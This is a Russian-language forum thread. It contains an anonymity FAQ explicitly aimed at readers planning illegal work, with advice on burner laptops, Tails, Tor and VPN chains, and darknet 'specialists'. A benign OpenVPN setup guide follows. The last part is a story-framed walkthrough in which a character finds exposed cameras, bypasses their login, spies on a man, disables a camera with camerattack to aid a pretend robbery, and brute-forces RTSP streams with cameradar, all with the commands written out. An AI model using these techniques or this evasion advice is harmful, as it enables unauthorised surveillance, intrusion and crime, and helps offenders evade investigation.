Анонимность в сети

  • Автор темы Автор темы Crocodile
  • Дата начала Дата начала

Crocodile

Активный пользователь
Регистрация
01.06.2025
Сообщения
2 107
Реакции
1 751
Баллы
113
1. Полной анонимности вообще не существует в природе!

Для начала нам стоит понять, что "полная анонимность" нам не требуется. Достаточно запутать цифровой отпечаток так, чтобы распутывание было нерентабельным, а потраченные усилия и время не окупались результатом. Для создания подобного уровня не требуется никаких специальных знаний и умений, достаточно иметь голову на плечах и ознакомиться полностью с данным FAQ.

2. Зачем вообще все это надо?

Большую часть "киберпреступников" вычислили не благодаря следам, оставленным в сети.
Будет очень грустно, если тебя вычислят не по горячим следам, не сдадут близкие и так далее, а поймают тупо из-за твоей лени и пренебрежения элементарных основ безопасности.
Ты можешь спрятаться в бункер с ноутбуком и роутером, обзавестись кучей VPN сервисами, но какой смысл в безопасности, если ты с этого же ноутбука заказываешь пиццу?

3. Я не знаком с основами программирования, ничего в этом не понимаю и разбираться совсем не хочу! Что делать, чтобы не спалиться?

Для начала определимся с вашей деятельностью:

1) Я обычный рядовой пользователь, люблю шутить про мам/пап/дедушек/бабушек без каких либо противозаконных действий. Сижу на ******* вечерами, после того как сделаю уроки и клацаю по кнопкам.

- Тебя не найдут, потому что ты нах*й никому не нужен. Можешь снимать свой шлем из фольги.

2) Есть намерения некой противоправной деятельности в дальнейшем. К примеру - работа в шопе на онлайн должности.

- Купи левый ноутбук, лучше с рук, левый USB модем или роутер
- Установи Tails на флешку (в открытом доступе можно найти огромное количество материалов на эту тему)
- Прокачай настройки "Security settings..." Tor Browser на максимум
- Используй менеджер паролей для хранения и генерации сложных паролей
- Используйте шифрование сообщений OTR или GPG (например, в Jabber)
- Откажись от социальных сетей и никаких личных данных через вышеупомянутые устройства не передавайте

Этого будет вполне достаточно.

4. Что за Tails такой и с чем его едят?

Tails
- уже настроенная операционная система, созданная для обеспечения приватности и анонимности. С ее помощью весь трафик направляется через сеть Tor.
Не оставляет следов на устройстве с которого используется, не хранит в себе никаких данных и после каждой перезагрузки возвращается в первозданный вид, после выключения стирается оперативная память. Очень удобная штука.

Вам не придется:

- мучиться с TrueCrypt'ом, ведь шифрованный раздел "Persistent" на ней создаётся в пару кликов
- ставить Tor Browser, так как он уже установлен с ещё большей защитой, прокачали его максимально
- устанавливать программы для хранения паролей, передачи файлов, удаления метаданных, работы с криптовалютой, шифрования файлов и сообщений, софт для редактирования фото/видео/аудиофайлов

Потому что всё это уже установлено и готово для использованию!

Скачай, запиши на флешку (минимум 2 Гб), загрузись с нее, установи на новую флешку (от 8 Гб) , загрузись с новой флешки, активируй Persistent.
Mission Complete! ОС готова к использованию!

5. Какими характеристиками должен обладать компьютер для Tails и что еще нужно?

Настоятельно рекомендую купить отдельный ноутбук, который никак не будет связан с Вашей личностью!

Что нужно для Tails:

- Оперативная память от 4 Гб. Можно запуститься и на 2 Гб, но возможны тормоза.
- 1 порт USB 3.0, для скорости работы с флешки
- процессор только 64бит (x86-64), конкретную модель советовать сложно.

Требования к флешке:

- Не SanDisk, PNY, Aegis
- USB 3.0
- обязательно на чипах MLC, это даст высокую живучесть
- от 8 Гб (обычно чем больше объём, тем выше скорость)

Рекомендую покупать 2 флешки сразу. Одну из них сделать резервной, на неё также установить Tails и время от времени копировать на неё все важные данные, на случай если одна из них выйдет из строя.

6. Что по поводу мессенджеров? Skype, WhatsАpp, Viber, Telegram там же есть шифрование?

Ими нельзя пользоваться по следующим причинам:

- Центральный сервер. Нельзя создать свой.
- Закрытый исходный код. Что на самом деле делают эти программы и куда всё сливают - неизвестно.
- Шифрование не по открытым проверенным алгоритмам (GPG/OTR), а по своим - Вас расшифруют, когда понадобиться.
- Привязка к сим-карте или устройству.

7. Почему бы просто не общаться в случайном онлайн чате и\или общаться заранее установленными словами, которые другим будут непонятны?

Скрыть предмет разговора недостаточно, так как остаётся ещё сам факт разговора: его стороны/время/место/с каких устройств он происходил и другие данные, которые останутся на сервере. И доверять шифрованию неких "онлайн чатов" нельзя.

8. Каким мессенджером тогда можно пользоваться?

Теми, что работают по протоколу jabber (XMPP), с открытыми исходниками. Они проверены временем и поддерживают шифрования переписки клиент-клиент GPG и\или OTR (то есть её не увидит никто посторонний, даже владельцы сервера):

- Psi+ (GPG, OTR) доведённый до ума Psi с дополнительными функциями
- Pidgin (OTR) старый проверенный клиент, встроен в Tails

Для Android:

- Conversations (GPG, OTR)
- Xabber (OTR)

9. В чем разница между OTR и GPG шифрованием, если на простом языке?

По-простому: OTR требует наличия собеседника онлайн, но даёт отрицаемость (после беседы ключи уничтожаются и сообщения уже никак нельзя расшифровать, даже если ключи были изъяты у обеих сторон).

GPG гораздо старее, надёжнее и функционал обширнее (можно шифровать файлы, подписывать сообщения, проверять подписи), держите ключи в шифрованном разделе, имейте сложные пароли и делайте резервные копии и проблем не будет.

10. Как хранить файлы и нужно ли их шифровать?

Ты конечно можешь зашифровать свой жёсткий диск TrueCrypt'ом, но сможешь ли ты его быстро уничтожить в случае чего? Легко ли его спрятать? Поэтому практичнее пользоваться легкоуничтожимым носителем. Например на флешке с Tails в разделе Persistent (это отдельная папка, в которой содержимое шифруется мгновенно).

11. Куда заливать фото/видео/аудиофайлы?

На зарубежные хостинги и лучше в .onion, метаданные с файлов удалять перед загрузкой.

12. Как удалять метаданные?

Можно воспользоваться программой МАТ.

13. Как безопасно передать\получить собеседнику фото, видео, аудиофайлы? Через jabber нельзя?

С помощью OnionShare - это безопасный файлообменник в Tor.
Через jabber напрямую файлы отправить нельзя, только через сторонние серверы, это небезопасно и так делать не нужно.

14. Что насчёт связи через левые телефоны с левыми симками? Проверенный метод!

Обратите внимание на пункт 7. Остается Ваше местоположение, голос, факт связи, предмет связи, отсутствует шифрование.

15. Что по поводу Tor Browser?

1) Это же разработка США и всё такое?
- Да, ровно как и процессоры, оперативная память и всё остальное. Но Tor имеет открытый исходный код и прошёл некоторую проверку временем.

2) Могут ли скрипты JS (JavaScript) привести к деанону если их разрешать?
- Да, включенные JS напрямую приводят к идентификации твоего устройства.

3) Что видит мой провайдер, когда я использую тор?
- Только сам факт использования Tor. Как именно вы им пользуетесь: какие сайты посещаете, какие мессенджеры используете, переписка и т.д. - ничего этого не видно.

То, что вы пользуетесь не просто Tor'ом, а Tails'ом, провайдер также может видеть.


4) Какие вообще есть правила использования Tor, которые нужно соблюдать?

- Не стоит принимать неподписанный сертификат (который может быть сертификатом выходной ноды)
- Желательно исключить из цепочки ip стран СНГ и России
- Чтобы не оставлять свою переписку на серверах стоит использовать шифрование клиент-клиент (OTR\GPG)
- Не качать торренты через Tor, желательно вообще не скачивать, что попало
- Использовать https:// версии сайтов
- Иметь повсюду сложные и разные пароли
- Всё остальное, что описано в этом FAQ. Не буду повторяться


16. Что с MAC-адресом устройства? Как быть?


Mac-адреса есть у Wi-Fi модуля, сетевой платы ноутбука, а также у роутера или модема.

Сайты НЕ видят твой mac-адрес. Но их видят ваш провайдер и соседские устройства (чужие роутеры и Wi-Fi точки) и сливают эту информацию например в Google/Яндекс для определения местоположения. Выход: отключить Wi-Fi модули и подключаться к роутеру по Ethernet кабелю.

Tails при каждом запуске сам автоматически меняет mac-адреса вашего Wi-Fi модуля и сетевой платы ноутбука.

17. Нужен ли VPN в связке с Тor? Разве одного Тора не хватит?

Tor - это экспериментальное ПО, которое потенциально может содержать уязвимости, хоть оно и постоянно обновляется. Кроме того, VPN скрывает от провайдера сам факт использования Tor, что очень важно. Ну и двойная защита ещё никогда не была лишней.

18. Какой VPN cервис лучше выбрать?

Хороший VPN ceрвис должен соответствовать нескольким критериям:

- сервера и сама компания находятся не в России и не в США
- поддерживать работу через OpenVPN (скачиваются только конфигурационные файлы, а не устанавливается какая-то программа с сервиса)
- оплата с помощью криптовалюты


Это лишь часть той информации, которая может быть тебе полезна для настройки анонимности.
Если не хочешь со всем этим мучиться, то просто обратись к специалисту по информационной безопасности. Их можно найти на многих даркнет площадках.
 
1643734830936.png



В этой статье хотелось поделиться опытом настройки VPS и установки/настройки OVPN на Linux Ubuntu 20.04. Начал работать с линукс недавно и в процессе возникали подводные камни, которые вроде бы удалось побороть. В сети достаточно много мануалов по данной теме, но проблема в том, что та или иная инструкция не сработала для меня полностью, пришлось покурить несколько доков и в итоге собрать из них один. Плюс сразу добавить некоторые рекомендации по безопасности сервера. По идее все должно работать с данной ОС без проблем. Клиент подключаю из под WINды, но можно использовать любые другие клиенты, планирую подключать к сети свой смартфон. В итоге получаем свой VPN канал и левый ip-адрес, но пинги увеличатся и скорость передачи данных соответственно упадет (полностью побороть проблему со скорость пока не удалось), что в принципе не сильно заметно при серфинге, просмотре и тд. (зависит от ваших нужд)
Но обо всем по-порядку.


План такой :

1. Начальная (стандартная) настройка VPS сервера на Linux (покупку/админку и тд. рассматривать не буду, там все более-менее понятно)
2. Настройка SSH и подключение по сертификату.
3. Настройка сертификатов/конфигураций сервера и клиента OVPN


Начальная настройка VPS сервера на Linux :


Подключаться буду из под клиента на винде. Для подключения по SSH использую
Ссылка скрыта от гостей
и вполне себе доволен этой утилитой. После того как узнали свой айпишник и права от рута, подключаемся к серверу, можно запустить в cmd (если putty была установлена в систему или добавлена в окружение) :

Код:
putty.exe user@server -pw password

Создаем нового пользователя и добавляем в группу sudo :
Код:
adduser codeby<br>usermod -aG sudo codeby<br>su - codeby

Проверяем статус брандмауэра и если надо, ключаем :
Код:
ufw status<br>ufw enable


И вот тут у меня появилась первая проблемка. В общем я отошел по делам, а вернувшись, понял, что коннект из лост и я вообще не могу достучаться до сервера по shh и отваливаюсь по тайм ауту. При условии что ни RDP ни VNC пакеты не установлены, на этом можно было бы и заканчивать настройку и звонить "местным" админам :D потому как я просто не знал, как же я могу еще попасть на сервак. Благо в админ панели есть браузерная VNC консоль и подключившись, я решил проблему с SSH.


Настройка SSH и подключение по сертификату :


Код:
sudo apt update<br>sudo apt install openssh-server<br>sudo systemctl status ssh<br>sudo ufw allow openssh

Повозившись немного, я начал получать connection refused вместо тайм аута, ну и после полной переустановки пакетов, перезапуска службы и добавления правил фаирвола, вроде как все заработало.

Далее создаем директорию и файл где будут храниться ключи и назначаем им права :
Код:
cd /home/codeby<br>mkdir .ssh<br>chmod 700 .ssh<br>cd .ssh<br>touch authorized_keys<br>chmod 600 authorized_keys

Создаем ключи в puttygen и записываем в файл authorized_keys :

1643735414983.png



Код:
cat &gt;&gt; authorized_keys &lt;&lt; EOF сюда копируем публичный ключ из puttygen EOF

Сохраняем приватный ключ и добавляем в сессию putty в настройках SSH - Auth. После этого можем коннектится без ввода пароля под пользователем codeby@server
При подключении, вместо проверки по паролю, получим проверку криптографическую, соответствия публичного ключа, который добавили на сервер и нашего приватного.

Для безопасности отключаем вход под root по ssh и использование пароля в файле /etc/ssh/sshd_config а также повесим сервис ssh на нестандартный порт :
Код:
sudo nano /etc/ssh/sshd_config<br><br>PermitRootLogin no<br>PasswordAuthentication no<br>port xxxx<br><br>sudo ufw allow xxxx/tcp<br>sudo /sbin/iptables -A INPUT -m state --state NEW -m tcp -p tcp --dport xxxx -j ACCEPT<br>sudo systemctl restart ssh

1643735834346.png



1643735845386.png




Настройка OpenVPN сервер/клиент :

Устанавливаем пакет, создаем директорию, копируем все скрипты в нашу новую директорию :
Код:
sudo apt install openvpn easy-rsa<br>mkdir etc/openvpn/easy-rsa<br>sudo cp –R /usr/share/easy-rsa /etc/openvpn/

Создаем pki директорию и файлы для генерации, генерируем ключи :
Код:
cd etc/openvpn/easy-rsa<br>sudo ./easy-rsa init-pki<br>sudo ./easy-rsa build-ca<br>sudo ./easy-rsa gen-dh<br>sudo ./easy-rsa gen-crl<br>openvpn --genkey --secret pki/ta.key

ca - серт центра сертификации (ставим пароль)
dh - ключ Диффи - Хелмана
crl - сертифкат отзыва
ta.key - ключ для TLS авторизации

Создаем сертификаты сервера и копируем все ключи в директорию openvpn (server - имя сервера) :
Код:
sudo ./easyrsa build-server-full server nopass<br>cp ./pki/ca.crt /etc/openvpn/ca.crt<br>cp ./pki/dh.pem /etc/openvpn/dh.pem<br>cp ./pki/crl.pem /etc/openvpn/crl.pem<br>cp ./pki/ta.key /etc/openvpn/ta.key<br>cp ./pki/issued/server.crt /etc/openvpn/server.crt<br>cp ./pki/private/server.key /etc/openvpn/server.key

Копируем содержимое дефолтного серверного конфига в /etc/openvpn/server.conf :
Код:
zcat /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz | sudo tee /etc/openvpn/server.conf

Если убрать комментарии то дефолтный конфиг выглядит так (я добавил сжатие и указал вручную
обнулил буфер, для увеличения скорости) :
Код:
port 1194<br>proto udp<br>dev tun<br>ca ca.crt<br>cert server.crt<br>key server.key<br>dh dh.pem<br>server 10.8.0.0 255.255.255.0<br>ifconfig-pool-persist /var/log/openvpn/ipp.txt<br>push "redirect-gateway def1 bypass-dhcp"<br>push "dhcp-option DNS 8.8.8.8"<br>push "dhcp-option DNS 8.8.8.8"<br>keepalive 10 120<br>tls-auth ta.key 0<br>cipher AES-256-CBC<br>persist-key<br>persist-tun<br>status /var/log/openvpn/openvpn-status.log<br>verb 3<br>explicit-exit-notify 1<br>sndbuf 0<br>rcvbuf 0<br>comp-lzo

Стартуем сервер (если есть ошибки, проверяем конфиг и запускаем второй командой) :
Код:
sudo openvpn /etc/openvpn/server.conf<br>sudo systemctl start openvpn@server

Если все хорошо - наблюдаем сообщение :

1643736154383.png



Включаем форвардинг пакетов, настраиваем правила iptables и разрешаем в фаирволе, ens3 - название интерфейса смотрящего во внешнюю сеть интернет :
Код:
sysctl -w net.ipv4.ip_forward=1<br>sudo iptables -I FORWARD -i tun0 -o ens3 -j ACCEPT<br>sudo iptables -I FORWARD -i ens3 -o tun0 -j ACCEPT<br>sudo iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE<br>sudo ufw allow 1194

Проходим процедуру создание конфигурации клиента, генерим сертификат, создаем директорию, переносим туда ключи :
Код:
sudo ./easyrsa build-client-full client nopass<br>sudo mkdir /etc/openvpn/clients<br>sudo mkdir /etc/openvpn/clients/client<br>cd /etc/openvpn/clients/uvpn<br>cp /etc/openvpn/easy-rsa/pki/ca.crt /etc/openvpn/clients/client/<br>cp /etc/openvpn/easy-rsa/pki/ta.key /etc/openvpn/clients/client/<br>cp /etc/openvpn/easy-rsa/pki/issued/client.crt /etc/openvpn/clients/client/<br>cp /etc/openvpn/easy-rsa/pki/private/client.key /etc/openvpn/clients/client/

Конфиг клиента :
Код:
sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ./client.conf

Конфиг должен быть идентичен серверу, то есть поддерживать те же опции. Добавлено сжатие и строки обнуления буфера, строка redirect-gateway def1 добавляет маршрут по умолчанию (в интернет) через VPN - туннель (без нее айпишник не поменяется)
Код:
client<br>dev tun<br>proto udp<br>remote server_ip_address 1194<br>resolv-retry infinite<br>nobind<br>persist-key<br>persist-tun<br>ca ca.crt<br>cert losst.crt<br>key losst.key<br>remote-cert-tls server<br>tls-auth ta.key 1<br>cipher AES-256-CBC<br>verb 3<br>redirect-gateway def1<br>sndbuf 0<br>rcvbuf 0<br>comp-lzo<br>&lt;ca&gt;<br>-----BEGIN CERTIFICATE-----<br>Тело сертификата<br>-----END CERTIFICATE-----<br>&lt;/ca&gt;<br><br>&lt;cert&gt;<br>-----BEGIN CERTIFICATE-----<br>Тело сертификата<br>-----END CERTIFICATE-----<br>&lt;/cert&gt;<br><br>&lt;key&gt;<br>-----BEGIN CERTIFICATE-----<br>Тело сертификата<br>-----END CERTIFICATE-----<br>&lt;/key&gt;<br><br>&lt;tls-auth&gt;<br>-----BEGIN CERTIFICATE-----<br>Тело сертификата<br>-----END CERTIFICATE-----<br>&lt;/tls-auth&gt;

Все готово. Ставим приложение на клиента и переносим клиентский конфиг (с помощью
Ссылка скрыта от гостей
например). Должен подняться интерфейс - по дефолту в 10.8.0.0/24 подсети. Весь трафик будет идти через ваш ВПН-сервер.

Вы можете добавить дополнительную защиту, создав пользователя впн в системе и включить дополнительный запрос логина/пароля. Для этого надо найти файл openvpn-plugin-auth-pam.so библиотеки авторизации plugin и добавить в server.conf две строки с указанием директории tmp :
Код:
find / -name "openvpn-*auth-pam*.so" -print<br>mkdir /etc/openvpn/tmp<br>chmod 777 /etc/openvpn/tmp<br>sudo nano /etc/openvpn/server.conf<br><br># добавляем в конфиг сервера<br>plugin путь до файла/openvpn-plugin-auth-pam.so login<br>tmp-dir /etc/openvpn/tmp<br><br>sudo useradd codebyvpn -s /sbin/nologin<br>sudo passwd codebyvpn

Чтобы включить опцию на клиенте, добавляем в конец клиентского конфига :
Код:
auth-user-pass

Теперь при подключении дополнительно будет запрашиваться логин/пароль
 
И начинаем, поздороваться бы как-то с Вами, ай да ладно. Говорить особо нечего в предисловии. Если вы подумали, что это шестая статья из цикла По горячим следам - ошиблись, на этот раз материал носит сюжетный характер, если здесь ещё остались те, кто такой концепт помнит…( Огромное количество кода в статье имеется). Где-то вот тут должен всплыть дисклеймер, где же он? А вот:

Дисклеймер


На самом деле я против зла и то, что я покажу вам далее, может быть,
практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания. Кстати все персонажи этой статьи являются лишь плодом фантазии автора, все совпадения случайны. Если где-то вы узнали себя или своих знакомых , простите.

Становление величайшего: или как Тадеус Косуке пытался стать анонимусом

Знаете ли вы как должен выглядеть системный администратор? Есть ли какой-то канон внешних очертаний человека по ту сторону Вашего любимого портала? Наверное нет, но определенно существуют две касты людей по суждениям на эту тему. Первая рисует классическую темную лошадку системной части в своем воображении, как какого-то бизнес-мачо: рубашечка, сшитый под заказ костюм, околоспортивное телосложение, всё чисто и опрятно. Вторая же представляет некого маминого геймера-задрота из подвала: тысячи тонн лишнего веса пропорциональны к количеству съеденного фаст-фуда, дешевый спортивный костюм и огромные очки на миллион диоптриев. Но всё это лишь крайнее возможное, а истина, как всегда, находится где-то между. Не так ли?

Маленькая комнатка четыре на три, воздух сперт, духота, доступ дневного света ограничен не тяжелыми занавесками, а простым отсутствием окон, слышен какой-то механический гул. Звук кулера? В самом дальнем уголке помещения расположился стол, а нет, не стол - всего-лишь школьная парта, то что могло оказаться крутым кожаным офисным креслом, в действительности является табуреткой.

Низенький, пухленький мужчинка, спокойно набирает какой-то текст, сидя на этом самом иллюзорном кресле, акцентированные и громкие удары по клавише энтер отбиваются эхом от голых, покрытых плесенью, стен.
Последнее акцентированное нажатие, тяжелый вздох, руки человечка тянутся под стол, банка пива то и дело норовит упасть и взорваться, явно подкованный многогодовой практикой, наш герой мигом её усмиряет.

Разделавшись с пивом на одном дыхании, отбрасывая тень своего силуэта от гаснущего монитора на стену, системный администратор сайта сельского совета, покидает пост, вечер ведь уже. Пора домой.

Пеший путь. Размышления. Мечты. Поправив пиджак поверх спортивного костюма, Тадеус Косуке размышляет о своем великом будущем неуловимого хакера-анонимуса. Примеряя воображаемую маску, он заваливается в однокомнатное логово, где и продолжает практику взломщика: загрузочный экран Кали, покрытый неразборчивым почерком листик. Что нам нём? Написано специально так, чтобы даже самый талантливый графолог не смог прочесть, зашифрованный план на вечер, а поверх очередная банка пива:

  1. А я знаю, что ты… : или как Тадеус наблюдал за твоими ночными деяниями
  2. Не в поиске легких путей: или как Косуке халяву учуял
  3. Как Тадеус червей познавал: подстава подстав от коллеги

Как вдруг просыпается его мать и начинает читать нашему герою нотации, даже не смотря на то, что рожден он был 31 год назад. Но Тадеус настроен решительно, впервые за долгие годы проявив непослушание, начинает работу по своему шифро-плану, уничтожая попутно баночку пенного.


А я знаю, что ты… : или как Тадеус наблюдал за твоими ночными деяниями

Все мы прекрасно знаем, как часто камеры, имеющие доступ в открытую всемирную сеть, компрометируют своих владельцев. Однажды столкнувшись с такой проблемой на работе, Косуке маниакально заклеил все объективы: ноутбука, камер наблюдения и даже телефона. Оно и верно ведь, правда?

Но идея и сама возможность, после десятка просмотренных фильмов о хакерах, управлять чужими камерами и подсматривать за людишками плотно засела в голове нашего любимца - однако круто. Ведь не все настолько зациклены на своей безопасносности и анонимности, что для всех и фатально.

Итак, первым делом наш герой решил пойти путем наименьшего сопротивления, а именно - воспользоваться Шоданом и поискать камеры без надобности авторизироваться или с дефолтными паролями. Правда бюджет не позволяет использовать платную подписку, а довольствоваться первой страницей - не ажур. Но для этого в арсенале будущего Анонимуса Тадеуса имеется интересный скрипт, позволяющий пользоваться нашим хацкерским поисковиком бесплатно. Установка происходит следующим путем:
Код:
git clone https://github.com/whyareyoureyeshere/free_shodan.git<br>cd free_shodan<br>pip3 install -r requirements.txt<br> python3 free_shodan.py желаемый запрос

Искать камеры с дефолтным паролем конечно веселым считает Косуке, но не шибко уж соответствует таким промышлять для будущего Анонимуса, поэтому использовать будем метод слегка изощреннее. Для начала воспользуемся параметром поиска, который будет отображать желаемую… А тут погодите.

Отправной точкой возьмем любую камеру, имеющую веб-интерфейс. Первая оказалась от Хиквижин, но это не так интересно, ведь для неё до сих пор существует рабочий метод подбора пароля/логина через брутфорс Hikka, показывать смысла нет, с этим справится даже младенец, не то что будущий Анонимус. Ищем дальше.

И теперь попался интересный экземпляр, вместо привычной консоли авторизации мы получаем абсолютно белый лист, стало быть здесь ничего нет. Но не так всё просто, теперь Косуке просматривает код страницы, видит, что в заглавии указана модель самой камеры - WV-SP606. Это Панасоник, забавно, ведь теперь осталось лишь узнать дефолтный пароль для сей модели. Делает Тадеус это легко - Admin/12345. “Но куда их вводить?”, - задается он вопросом.

Screenshot_3.png



Ответ всё также скрывается в коде элемента, где и скрыта ссылка или на авторизацию, или на саму консоль управления камерой. Забавно, что Тадеус нашел вторую, обойдя любую возможную проверку пользователя. За этим интереснейшим устройством находился пожилой мужчина, который спокойно занимался само… Включите фантазию, дорогие читатели.

Имея наклонности в этом спектре, наш герой несколько часов наблюдал за ним, но после всё же вернулся к делу. Ему было мало простого обхода аутентификации или пользования дефолтом, да, пора расчехлять Кали.

Протокол rtsp для камер, звучит забавно, а ведь и уязвимостей имеет сколько, аж руки чешутся, но сегодня наш герой воспользуется лишь двумя из всего того перечня, времени в обрез, а с утра на работу. Сначала позабавиться решил Тадеуш, представив, что он участвует в каком-то преступлении, допустим он и его сообщники что-то грабят.

Заметьте, автор категорически выступает против всего незаконного, а тем более ограблений.

Задачей юного Анонимуса в этом деле есть на время отключить все камеры в целевом заведении, ну как это делают хакеры в фильмах там. Естественно, можно было бы подобрать пароль, войти в систему и наследить, дать зацепки в расследовании, хотя если вы не криворукий, как Тадеус, то всё будет в норме. Но рассмотрим ситуацию, когда нет возможности войти, стоит какой-то небрутящийся пароль или он меняется каждый час. Но на камере имеется открытый порт - 554, стало быть тот самый протокол RTSP. Тогда есть возможность заставить камеру перезагружаться посредством работы скрипта на ГО. Пополняет инструментарий Анонимуса недоучки - Camerattack.

Screenshot_2021-12-14_21_25_17.png


Сперва Косуке ставит ГО на свою машину. ( Не зря я с этим GO не связывался, но уже ладно, редкая дичь).

Сначала нам нужно скачать сам пакет GO:
Код:
cd ~<br>curl -O https://dl.google.com/go/go1.12.1.linux-amd64.tar.gz<br>sudo tar -xvf go1.12.1.linux-amd64.tar.gz -C /usr/local<br>sudo chown -R root /usr/local/go
 
Думаете это всё? Нет, теперь нужно сделать нашу библиотеку GO общедоступной, то есть слегка настроить среду. Сперва создаем папку {bin,src}:
Код:
mkdir -p $HOME/go/{bin,src}

Screenshot_2021-12-14_21_41_54.png



А теперь внесем некоторые коррективы в работу профиля самого GO c помощью его редактирования:
Код:
nano ~/.profile

В конец вставляем следующие строки, которые и делают его доступным с любого терминала, без надобности переходить в корневую директорию:
Код:
export GOPATH=$HOME/go<br>export PATH=$PATH:$GOPATH/bin<br>export PATH=$PATH:$GOPATH/bin:/usr/local/go/bin

CTRL + O, CTRL+X - сохраняем и закрываем, а теперь обновляем сам файл профиля, чтобы изменения вошли в силу:
Код:
. ~/.profile

И теперь открываем новый терминал и пишем команду для проверки версии GO:
Код:
go version

Если ответ такой, как на скрине, то дело в шляпе. С горем пополам установили, правда Тадеус изрядно попрел над этой задачей.

Наш герой уже было позабыл о цели всего этого действа, а мы нет, поэтому пришла пора ставить скрипт Camattack, а попытаемся мы это делать, да.. Через Go, гори он в Аду синем пламенем.

Сперва проверяем наличие модуля GO111MODULE=on , если версия больше, чем 1.12, то он уже включен, но чем черт не шутит, проверим:
Код:
export GO111MODULE=on

Ничего не произошло, надеемся, что это таки благой знак и он у нас уже есть.

Теперь качаем скрипт из Гитхаб, но с помощью GO:
Код:
go get github.com/ullaakut/camerattack

Молился на него я целые пять минут, а оно его даже скачало, какая радость. О, чудо!

А нет, ошибка.

Знаете, попробуем стандартным методом, перейдём в директорию, где должна лежать наша папочка со скриптом и просто скачаем её туда, посредством git clone:
Код:
cd GOPATH/scr<br>git clone https://github.com/Ullaakut/camerattack

Эврика! Но не факт, что сработает, ибо в самой установке GO была ошибка.

Запустим установку:
Код:
cd camerattack<br>go install

Screenshot_2021-12-14_21_56_07.png


Неудача, опять ошибка, а разбираться в этом желания, увы уж, нет. Поэтому воспользуемся Докером, да и всё, ибо гори, как я уже выразился, оно в Аду.

Установка Docker’a будет происходить следующими командами:
Код:
sudo apt-get install \<br>apt-transport-https \<br>ca-certificates \<br>curl \<br>gnupg \<br>lsb-release

Screenshot_2021-12-14_21_59_18.png



И скачаем его же самого:
Код:
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor | sudo tee /usr/share/keyrings/docker-archive-keyring.gpg &gt;/dev/null;echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian buster stable' | sudo tee /etc/apt/sources.list.d/docker.list;sudo apt-get update;sudo apt-get install -y docker-ce;
Ну и после окончания осталось нашему Тадеушу только проверить работоспособность сие скрипта:
Код:
docker run hello-world
Если видим ответное приветствие от Докера - всё шик, можно продолжать.

Теперь осталось запустить поиск портов по умолчанию на нашей машине:
Код:
docker run --net=host -t ullaakut/camerattack -t localhost
И получаем в ответ ошибку no stream found, но это уже исправить легко. Если такое у нас появилось, значит виртуальная машина не находится в одной подсети с основной. Исправляем это в настройках, здесь Косуке преуспевает.


Повторяем ввод команды и теперь видим, что можем запустить скрипт на порту 4483, что и делаем собственно:
Код:
docker run -v /tmp:/tmp --net=host -t ullaakut/camerattack rtsp://11.44.21.5:554/live.sdp

Первый ввод команды выдаёт ошибку, дальше же получаем сообщение о том, что камера была успешно отключена.

Ну и теперь используем ещё один репозиторий на GO и тоже с помощью Докера, это уже походит на какой-то брутфорс РТСП камер, но да ладно, тоже имеет место быть в практике Тадеуса.

Screenshot_2021-12-14_22_07_22.png



Да, Камерадар, он самый, говорить о нем уже нет чего, ведь все возможные проблемы связанные с докером и прочим юный Анонимус-недомерок уже решил.

Запуск и пример атаки, используя пользовательские словари:
Код:
docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -t /tmp/test.txt -p 4483<br>docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -t 192.168.0.0/24 --custom-credentials="/tmp/dictionaries/credentials.json" --custom-routes="/tmp/dictionaries/routes" -p 554,5554,8554<br>docker run -v /tmp:/tmp --net=host -t ullaakut/cameradar -T 3s -s 3 -d

Получаем два успешных результата, копируем ссылочку на видеострим и идем в любой плеер, который поддерживает открытие ссылок. Под рукой Тадеуса оказался VLS. Дальше ведь понятно, что делать?


Не в поиске легких путей: или как Косуке ноутбук стащил

Смотря на ворованное устройство, раз от разу Тадеус повторяет мысль в своей голове: он никому не был нужен и лежал на работе уже около двух лет, а мне попрактиковаться нужно на чем-то, я же верну его на место с утра.

Но совесть штука подлая, дабы её усмирить Тадеусу пришлось выпить ещё несколько банок пива и только после приступить к выполнению задач.
Перво-наперво включает он сам ноутбук, но вот незадача - он запаролен. Естественно, это не проблема, любой рядовой пользователь может загуглить и обойти этот пароль, через Биос, допустим.

Хмельное затуманило рассудок нашего героя и ему захотелось чего-то необычного, попытался он зайти в биос конечно - там тоже пароль.
Анализируя ситуацию, Тадеус сложил следующий портрет своей жертвы ночных исследований: марка ноутбука: Леново, операционная система: Windows 10, имеется доступ к WIFI.

Screenshot_4.png
 
После последнего пункта в голове Косуке что-то щелкнуло, то ли от огромного количества спирта в организме, то ли от гениальной идеи. Раз есть общая сеть, почему бы не попытаться получить шелл и из него уже изменить пароль к учетной записи. Да, но как это сделать, задумался Косуке, наверное, проще всего через Метасплоит.
Многие говорят, включая автора, что годы этого инструмента уже прошли, но главный герой видит ситуацию слегка иначе. Метасплоит - основа основ и очень полезная штуковина, которой обязан овладеть начинающий Анонимус.

Первым делом наш Косуке сканирует свою же сеть на устройства, он не знает какая именно у него сеть, ибо пользуется раздачей с телефона, ну прям как автор, поэтому запускает общее сканирование сканирование командой:
Код:
netdiscover

Но здесь возник нюанс поиска и находило лишь два устройства, посему было принято решение превратить мою машину в раздатчик, подключив доступ к интернету через кабель от телефона. После изменить пяти ГГц-овую раздачу на 2.4, ибо целевое устройство просто не видело беспроводную сеть в ряду технической отсталости. Кому интересно, делается это через диспетчер устройств. Спойлер, это не сработало и в итог я просто изменил настройки сети виртуальной машины.

Screenshot_2021-12-15_18_40_06.png



Кстати для теста мне не удалось найти устройство с Windows 10, поэтому довольствуемся старой-доброй семерочкой, но этот способ всё же характерен больше для последней, исключая одиннадцатую, которую я не воспринимаю за полноценную систему, версии, коль там можно подключиться к сети, не проходя авторизации.

